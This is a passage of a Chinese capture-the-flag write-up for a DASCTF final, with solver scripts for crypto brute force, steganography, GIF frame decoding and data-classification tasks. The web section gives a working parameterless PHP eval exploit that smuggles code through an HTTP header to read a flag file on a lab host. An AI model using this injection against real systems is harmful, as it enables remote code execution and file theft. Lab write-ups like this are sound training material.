就写了决赛的。累了,太菜了,想退役了。

[签到] 网安知识大挑战-FINAL

1
2
3
4
5
密文: 570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89
Key:??????????000000 <= ?是每个题目的答案大写
IV: 12345678

flag格式为 DASTCF{xxxxx},提交时只需要提交括号中间的内容。

选择题是肯定不会做的,反正也就 4^10 种可能性,想着直接写个脚本跑一下就行了。但是这 IV 怎么只有 8 字节,常见的 AES-CBC 不是需要 16 字节吗,ZeroPadding 还是 PKCS7Padding?全都尝试了以下怎么什么都跑不出来?

哦,居然是 Triple DES,被思维定势限制了。写代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import DES3
from itertools import product
from tqdm import tqdm

c = bytes.fromhex('570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8'
'689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89')
iv = b'12345678'

for answers in tqdm(product('ABCD', repeat=10), total=4**10):
key = ("".join(answers)).encode() + b'000000'
aes = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
res = aes.decrypt(c)
if b"DAS" in res:
break

print(key, res)

[Web] wucanrce

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if (isset($_GET['code'])) {
if (!preg_match('/session_id\(|readfile\(/i', $_GET['code'])) {
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
@eval($_GET['code']);
}
} else {
die("不让用session欧,readfile也不行");
}
}

无参 RCE,之前在 XYCTF 的 pharme 做过这个考点,直接把 PoC 抄过来改改。大致思路是把要进一步执行的代码往 HTTP Header 里面塞,然后无参把这个 Header 读出来执行。

1
2
3
4
5
6
7
8
9
10
11
12
import requests

# command = 'var_dump(scandir(".."));'
command = 'print(file_get_contents("../f14g.php"));'
# payload = "var_dump(getallheaders());"
payload = "eval(current(getallheaders()));"

response = requests.get(
f"http://10.1.177.34/?code={payload}",
headers={'Payload': command})

print(response.text[2545:])

[Misc] FinalSign

1
2
3
4
5
恭喜你来到这里,你能解开下面的秘密吗?	     	      
2c243f2f3b3114345d0a0909333f06100143023b2c55020912



不难注意到,文件中一堆 Tab 和 Space 在。直接尝试一下 SNOW:

1
2
$ ./SNOW.EXE -C FinalSign.txt 
xorkey:helloworld

直接拿它去 xor 文件中那串十六进制就是了。

1
2
3
4
5
cipher = bytes.fromhex('2c243f2f3b3114345d0a0909333f06100143023b2c55020912')
xorkey = b'helloworld'

xorkey = xorkey * (len(cipher) // len(xorkey) + 1)
print(bytes([a ^ b for a, b in zip(cipher, xorkey)]))

[Misc] 非黑即白

给了一个莫名其妙的二进制文件,翻到文件尾看一下,好家伙 a98FIG,这不 GIF 文件(但是前后颠倒)吗?翻回来:

1
open('非黑即白'[::-1]+'.gif', 'wb').write(open('非黑即白', 'rb').read()[::-1])

发现是一堆或全黑或全白的帧,直接拿 ScreenToGif 给它帧全导出了,然后搓个脚本读一下黑白,直接转写成二进制文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
from PIL import Image

files = {int(file.split('.')[0].split(' ')[1]):
os.path.join('export', file)
for file in os.listdir('export')}

bit = []
for i in range(len(files)):
img = Image.open(files[i])
gray = img.getpixel((10, 10))[0]
bit.append(1 if gray > 128 else 0)

byte = []
for i in range(0, len(bit), 8):
byte.append(int(''.join(map(str, bit[i:i+8])), 2))

with open('extracted.hex', 'wb') as f:
f.write(bytearray(byte))

一看导出来的是个 Zip 文件,看了一眼有密码:

1
2
$ file extracted.hex 
extracted.hex: Zip archive data, at least v2.0 to extract, compression method=store

那就找密码呗… 事实上最后找了半天(赛中我是在那对着文件字节扒的,当时还没意识到这个是帧持续时间的标记,一头雾水)。ScreenToGif 里面可以看到每一帧的持续时间,前 14 帧持续时间是变化的,其他帧都是 100ms,所以直接把前 14 帧持续时间按多少个 10ms 抄出来按 ASCII 码转换出来就是密码。或者你也可以(这段代码是赛后写的):

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

gif = Image.open('白即黑非.gif')

durations = []
for frame in range(gif.n_frames):
gif.seek(frame)
duration = gif.info['duration']
durations.append(duration)

print(("".join(chr(duration//10) for duration in durations)).strip())

[Crypto] MyCode

爆破就爆破呗,反正 decrypt 函数都已经给出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from MyCode import decrypt
from itertools import product
from tqdm import tqdm

ciphertext = bytes.fromhex(
'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F29'
'9022820299248C23D678442A902B4C24A8784A3EA401')

for i in tqdm(product("0123456789ABCDEF", repeat=5), total=16**5):
key = int.from_bytes(bytes.fromhex('ECB' + "".join(i)), byteorder='big')
plaintext = bytes(decrypt(ciphertext, key))
if b'DASCTF' in plaintext:
break

print(key, plaintext)

哦对了,string 里面有个 hexdigits,但是它同时包括了大写和小写的字母,就变成了 22^5 而不是 16^5,我一开始没意识到然后爆了半天…

[数据安全] datasecurity_classify1

直接按要求搓代码就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys

sys.stdout = open('result.csv', 'wt', encoding="utf-8")
data = open('附件/data.csv', 'rt', encoding='utf-8')
_head = data.readline()

print('类型,数据值')
for line in data:
line = line.strip()
if len(line) == 18:
print(f'身份证号,{line}')
elif len(line) == 11:
print(f'手机号,{line}')
else:
print(f'姓名,{line}')

赛时我还手搓了一堆校验,但是后来发现这题完全没有脏数据,按长度分分类就行了。

[数据安全] datasecurity_classify2

拿 Wireshark 看了看,一堆 HTTP POST。直接 tshark dump 出来:

1
$ tshark -r 附件/data.pcapng -T fields -Y "http && data" -e data > data.hex

然后写个脚本过滤一下(代码在赛后改过,但是应该问题不大):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
import re

sys.stdout = open('result.csv', 'wt', encoding="utf-8")
f = open('data.hex', 'rt', encoding='utf-8')

id_pattern = re.compile(r'[0-9]{6}-? ?[0-9]{8}-? ?[0-9]{3}[0-9X]')
phone_pattern = re.compile(r'[0-9]{3}-? ?[0-9]{4}-? ?[0-9]{4}')
ip_pattern = re.compile(r'((\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})')

def is_valid_id(data: str) -> bool:
src = data[:-1]
end = data[-1]
dust = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
sums = sum(int(src[i]) * dust[i] for i in range(len(src)))
remain = "10X98765432"[sums % 11]
return remain == end

def is_valid_phone(data: str) -> bool:
return int(data[:3]) in \
[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]

print('category,value')
for line in f:
line = bytes.fromhex(line.strip()).decode()
for match in id_pattern.findall(line):
formatted = str(match).replace(' ', '').replace('-', '')
if is_valid_id(formatted):
print(f"idcard,{formatted}")
line = line.replace(formatted, '')
for match in ip_pattern.findall(line):
formatted = str(match[0])
print(f"ip,{formatted}")
line = line.replace(formatted, '')
for match in phone_pattern.findall(line):
formatted = str(match).replace(' ', '').replace('-', '')
if is_valid_phone(formatted):
print(f"phone,{formatted}")